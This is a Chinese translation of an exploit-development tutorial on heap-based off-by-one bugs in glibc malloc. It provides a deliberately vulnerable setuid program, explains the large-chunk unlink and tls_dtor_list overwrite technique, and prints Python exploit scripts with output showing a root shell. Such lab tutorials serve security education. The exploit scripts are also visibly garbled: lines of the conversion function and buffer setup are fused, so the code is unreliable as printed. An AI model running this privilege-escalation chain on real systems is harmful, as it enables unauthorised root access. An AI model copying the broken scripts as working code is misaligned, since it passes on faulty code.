Linux (x86) Exploit 開發(fā)系列教程之十一 Off-By-One 漏洞(基于堆)

Off-By-One 漏洞(基于堆)

譯者:飛龍

原文:Off-By-One Vulnerability (Heap Based)

預(yù)備條件:

  1. Off-By-One 漏洞(基于棧)
  2. 理解 glibc malloc

VM 配置:Fedora 20(x86)

什么是 Off-By-One 漏洞?

這篇文章中提到過,將源字符串復(fù)制到目標(biāo)緩沖區(qū)可能造成 Off-By-One 漏洞,當(dāng)源字符串的長(zhǎng)度等于目標(biāo)緩沖區(qū)長(zhǎng)度的時(shí)候。

當(dāng)源字符串的長(zhǎng)度等于目標(biāo)緩沖區(qū)長(zhǎng)度的時(shí)候,單個(gè) NULL 字符會(huì)復(fù)制到目標(biāo)緩沖區(qū)的上方。因此由于目標(biāo)緩沖區(qū)位于堆上,單個(gè) NULL 字節(jié)會(huì)覆蓋下一個(gè)塊的塊頭部,并且這會(huì)導(dǎo)致任意代碼執(zhí)行。

回顧:在這篇文章中提到,在每個(gè)用戶請(qǐng)求堆內(nèi)存時(shí),堆段被劃分為多個(gè)塊。每個(gè)塊有自己的塊頭部(由malloc_chunk表示)。malloc_chunk結(jié)構(gòu)包含下面四個(gè)元素:

  1. prev_size -- 如果前一個(gè)塊空閑,這個(gè)字段包含前一個(gè)塊的大小。否則前一個(gè)塊是分配的,這個(gè)字段包含前一個(gè)塊的用戶數(shù)據(jù)。

  2. size:這個(gè)字符包含分配塊的大小。字段的最后三位包含標(biāo)志信息。

    • PREV_INUSE (P)如果前一個(gè)塊已分配,會(huì)設(shè)置這個(gè)位。
    • IS_MMAPPED (M)當(dāng)塊是 mmap 塊時(shí),會(huì)設(shè)置這個(gè)位。
    • NON_MAIN_ARENA (N)當(dāng)這個(gè)塊屬于線程 arena 時(shí),會(huì)設(shè)置這個(gè)位。
  3. fd指向相同 bin 的下一個(gè)塊。

  4. bk指向相同 bin 的上一個(gè)塊。

漏洞代碼:

//consolidate_forward.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define SIZE 16

int main(int argc, char* argv[])
{

 int fd = open("./inp_file", O_RDONLY); /* [1] */
 if(fd == -1) {
 printf("File open error\n");
 fflush(stdout);
 exit(-1);
 }

 if(strlen(argv[1])>1020) { /* [2] */
 printf("Buffer Overflow Attempt. Exiting...\n");
 exit(-2);
 }

 char* tmp = malloc(20-4); /* [3] */
 char* p = malloc(1024-4); /* [4] */
 char* p2 = malloc(1024-4); /* [5] */
 char* p3 = malloc(1024-4); /* [6] */

 read(fd,tmp,SIZE); /* [7] */
 strcpy(p2,argv[1]); /* [8] */

 free(p); /* [9] */
}

編譯命令:

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -o consolidate_forward consolidate_forward.c
$sudo chown root consolidate_forward
$sudo chgrp root consolidate_forward
$sudo chmod +s consolidate_forward

注意:

出于我們的演示目的,關(guān)閉了 ASLR。如果你也想要繞過 ASLR,使用信息泄露 bug,或者爆破機(jī)制,在這篇文章中描述。

上述漏洞代碼的行[2][8]是基于堆的 off-by-one 溢出發(fā)生的地方。目標(biāo)緩沖區(qū)的長(zhǎng)度是 1020,因此長(zhǎng)度為 1020 的源字符串可能導(dǎo)致任意代碼執(zhí)行。

任意代碼執(zhí)行如何實(shí)現(xiàn)?

任意代碼執(zhí)行,當(dāng)單個(gè) NULL 字節(jié)覆蓋下一個(gè)塊(p3)的塊頭部時(shí)實(shí)現(xiàn)。當(dāng)大小為 1020 字節(jié)(p2)的塊由單個(gè)字節(jié)溢出時(shí),下一個(gè)塊(p3)的頭部中的size的最低字節(jié)會(huì)被 NULL 字節(jié)覆蓋,并不是prev_size的最低字節(jié)。

為什么size的 LSB 會(huì)被覆蓋,而不是prev_size?

checked_request2size將用戶請(qǐng)求的大小轉(zhuǎn)換為可用大?。▋?nèi)部表示的大?。?,因?yàn)樾枰恍╊~外空間來儲(chǔ)存malloc_chunk,并且也出于對(duì)齊目的。轉(zhuǎn)換實(shí)現(xiàn)的方式是,可用大小的三個(gè)最低位始終不會(huì)為零(也就是 8 的倍數(shù),譯者注),所以可以用于放置標(biāo)志信息 P、M 和 N。

因此當(dāng)我們的漏洞代碼執(zhí)行malloc(1020)時(shí),用戶請(qǐng)求大小 1020 字節(jié)會(huì)轉(zhuǎn)換為((1020 + 4 + 7) & ~7)字節(jié)(內(nèi)部表示大?。?。1020 字節(jié)的分配塊的富余量?jī)H僅是 4 個(gè)字節(jié)。但是對(duì)于任何分配塊,我們需要 8 字節(jié)的塊頭部,以便儲(chǔ)存prev_sizesize信息。因此 1024 字節(jié)的前八字節(jié)會(huì)用于塊頭部,但是現(xiàn)在我們只剩下 1016(1024 - 8)字節(jié)用于用戶數(shù)據(jù),而不是 1020 字節(jié)。但是像上面prev_size定義中所述,如果上一個(gè)塊(p2)已分配,塊(p3)的prev_size字段包含用戶數(shù)據(jù)。因此塊p3prev_size位于這個(gè) 1024 字節(jié)的分配塊p2后面,并包含剩余 4 字節(jié)的用戶數(shù)據(jù)。這就是size的 LSB 被單個(gè) NULL 字節(jié)覆蓋,而不是prev_size的原因。

堆布局

1

注意:上述圖片中的攻擊者數(shù)據(jù)會(huì)在下面的“覆蓋tls_dtor_list”一節(jié)中解釋。

現(xiàn)在回到我們?cè)嫉膯栴}。

任意代碼執(zhí)行如何實(shí)現(xiàn)?

現(xiàn)在我們知道了,在 off-by-one 漏洞中,單個(gè) NULL 字節(jié)會(huì)覆蓋下一個(gè)塊(p3size字段的 LSB。這單個(gè) NULL 字節(jié)的溢出意味著這個(gè)塊(p3)的標(biāo)志信息被清空,也就是被溢出塊(p2)變成空閑塊,雖然它處于分配狀態(tài)。當(dāng)被溢出塊(p2)的標(biāo)志 P 被清空,這個(gè)不一致的狀態(tài)讓 glibc 代碼 unlink 這個(gè)塊(p2),它已經(jīng)在分配狀態(tài)。

這篇文章中我們看到,unlink 一個(gè)已經(jīng)處于分配狀態(tài)的塊,會(huì)導(dǎo)致任意代碼執(zhí)行,因?yàn)槿魏嗡膫€(gè)字節(jié)的內(nèi)存區(qū)域都能被攻擊者的數(shù)據(jù)覆蓋。但是在同一篇文章中,我們也看到,unlink 技巧已經(jīng)廢棄,因?yàn)?glibc 近幾年來變得更加可靠。具體來說,因?yàn)椤半p向鏈表損壞”的條件,任意代碼執(zhí)行時(shí)不可能的。

但是在 2014 年末,Google 的 Project Zero 小組找到了一種方式,來成功繞過“雙向鏈表損壞”的條件,通過 unlink large 塊。

unlink:

#define unlink(P, BK, FD) { 
  FD = P->fd; 
  BK = P->bk;
  // Primary circular double linked list hardening - Run time check
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) /* [1] */
   malloc_printerr (check_action, "corrupted double-linked list", P); 
  else { 
   // If we have bypassed primary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
   FD->bk = BK; /* [2] */
   BK->fd = FD; /* [3] */
   if (!in_smallbin_range (P->size) 
   && __builtin_expect (P->fd_nextsize != NULL, 0)) { 
    // Secondary circular double linked list hardening - Debug assert
    assert (P->fd_nextsize->bk_nextsize == P);  /* [4] */
        assert (P->bk_nextsize->fd_nextsize == P); /* [5] */
    if (FD->fd_nextsize == NULL) { 
     if (P->fd_nextsize == P) 
      FD->fd_nextsize = FD->bk_nextsize = FD; 
     else { 
      FD->fd_nextsize = P->fd_nextsize; 
      FD->bk_nextsize = P->bk_nextsize; 
      P->fd_nextsize->bk_nextsize = FD; 
      P->bk_nextsize->fd_nextsize = FD; 
     } 
    } else { 
     // If we have bypassed secondary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
     P->fd_nextsize->bk_nextsize = P->bk_nextsize; /* [6] */
     P->bk_nextsize->fd_nextsize = P->fd_nextsize; /* [7] */
    } 
   } 
  } 
}

在 glibc malloc 中,主要的環(huán)形雙向鏈表由malloc_chunkfdbk字段維護(hù),而次要的環(huán)形雙向鏈表由malloc_chunkfd_nextsizebk_nextsize字段維護(hù)。雙向鏈表的加固看起來用在主要(行[1])和次要(行[4][5])的雙向鏈表上,但是次要的環(huán)形雙向鏈表的加固,只是個(gè)調(diào)試斷言語句(不像主要雙向鏈表加固那樣,是運(yùn)行時(shí)檢查),它在生產(chǎn)構(gòu)建中沒有被編譯(至少在 fedora x86 中)。因此,次要的環(huán)形雙向鏈表的加固(行[4][5])并不重要,這讓我們能夠向任意 4 個(gè)字節(jié)的內(nèi)存區(qū)域?qū)懭肴魏螖?shù)據(jù)(行[6][7])。

然而還有一些東西應(yīng)該解釋,所以讓我們更詳細(xì)地看看,unlink large 塊如何導(dǎo)致任意代碼執(zhí)行。由于攻擊者已經(jīng)控制了 -- 要被釋放的 large 塊,它覆蓋了malloc_chunk元素,像這樣:

  • fd應(yīng)該指向被釋放的塊,來繞過主要環(huán)形雙向鏈表的加固。
  • bk也應(yīng)該指向被釋放的塊,來繞過主要環(huán)形雙向鏈表的加固。
  • fd_nextsize應(yīng)該指向free_got_addr – 0x14。
  • bk_nextsize應(yīng)該指向system_addr。

但是根據(jù)行[6][7],需要讓fd_nextsizebk_nextsize都是可寫的。fd_nextsize是可寫的,(因?yàn)樗赶蛄?code>free_got_addr – 0x14),但是bk_nextsize不是可寫的,因?yàn)樗赶蛄?code>system_addr,它屬于libc.so的文本段。讓fd_nextsizebk_nextsize都可寫的問題,可以通過覆蓋tls_dtor_list來解決。

覆蓋tls_dtor_list

tls_dtor_list是個(gè)線程局部的變量,它包含函數(shù)指針的列表,它們?cè)?code>exit過程中調(diào)用。__call_tls_dtors遍歷tls_dtor_list并依次調(diào)用函數(shù)。因此如果我們可以將tls_dtor_list覆蓋為堆地址,它包含systemsystem_arg,來替代dtor_listfuncobj,我們就能調(diào)用system。

2

所以現(xiàn)在攻擊者需要覆蓋要被釋放的 large 塊的malloc_chunk元素,像這樣:

  • fd應(yīng)該指向被釋放的塊,來繞過主要環(huán)形雙向鏈表的加固。
  • bk也應(yīng)該指向被釋放的塊,來繞過主要環(huán)形雙向鏈表的加固。
  • fd_nextsize應(yīng)該指向tls_dtor_list - 0x14。
  • bk_nextsize應(yīng)該指向含有dtor_list元素的堆地址。

fd_nextsize可寫的問題解決了,因?yàn)?code>tls_dtor_list屬于libc.so的可寫區(qū)段,并且通過反匯編_call_tls_dtors()tls_dtor_list的地址為0xb7fe86d4。

bk_nextsize可寫的問題也解決了,因?yàn)樗赶蚨训刂贰?/p>

使用所有這些信息,讓我們編寫利用程序來攻擊漏洞二進(jìn)制的“前向合并”。

利用代碼:

#exp_try.py
#!/usr/bin/env python
import struct
from subprocess import call

fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b430
system = 0x4e0a86e0
sh = 0x80482ce

#endianess convertion
def conv(num):
 return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996

print "Calling vulnerable program"
call(["./consolidate_forward", buf])

執(zhí)行上述利用代碼不會(huì)向我們提供 root shell。它向我們提供了一個(gè)運(yùn)行在我們的權(quán)限級(jí)別的 bash shell。嗯...

$ python -c 'print "A"*16' > inp_file
$ python exp_try.py 
Calling vulnerable program
sh-4.2$ id
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2$ exit
exit
$

為什么不能獲得 root shell?

當(dāng)uid != euid時(shí),/bin/bash會(huì)丟棄權(quán)限。我們的二進(jìn)制“前向合并”的真實(shí) uid 是 1000,但是它的有效 uid 是 0。因此當(dāng)system調(diào)用時(shí),bash 會(huì)丟棄權(quán)限,因?yàn)檎鎸?shí) uid 不等于有效 uid。為了解決這個(gè)問題,我們需要在system之前調(diào)用setuid(0),因?yàn)?code>_call_tls_dtors()依次遍歷tls_dtor_list,我們需要將setuidsystem鏈接,以便獲得 root shell。

完整的利用代碼:

#gen_file.py
#!/usr/bin/env python
import struct

#dtor_list
setuid = 0x4e123e30
setuid_arg = 0x0
mp = 0x804b020
nxt = 0x804b430

#endianess convertion
def conv(num):
 return struct.pack("<I",num(setuid)
tst += conv(setuid_arg)
tst += conv(mp)
tst += conv(nxt)

print tst
-----------------------------------------------------------------------------------------------------------------------------------
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b008
system = 0x4e0a86e0
sh = 0x80482ce

#endianess convertion
def conv(num):
 return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996

print "Calling vulnerable program"
call(["./consolidate_forward", buf])

執(zhí)行上述利用代碼會(huì)給我們 root shell。

$ python gen_file.py > inp_file
$ python exp.py 
Calling vulnerable program
sh-4.2# id
uid=0(root) gid=1000(sploitfun) groups=0(root),10(wheel),1000(sploitfun) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# exit
exit
$

我們的 off-by-one 漏洞代碼會(huì)向前合并塊,也可以向后合并。這種向后合并 off-by-one 漏洞代碼也可以利用。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容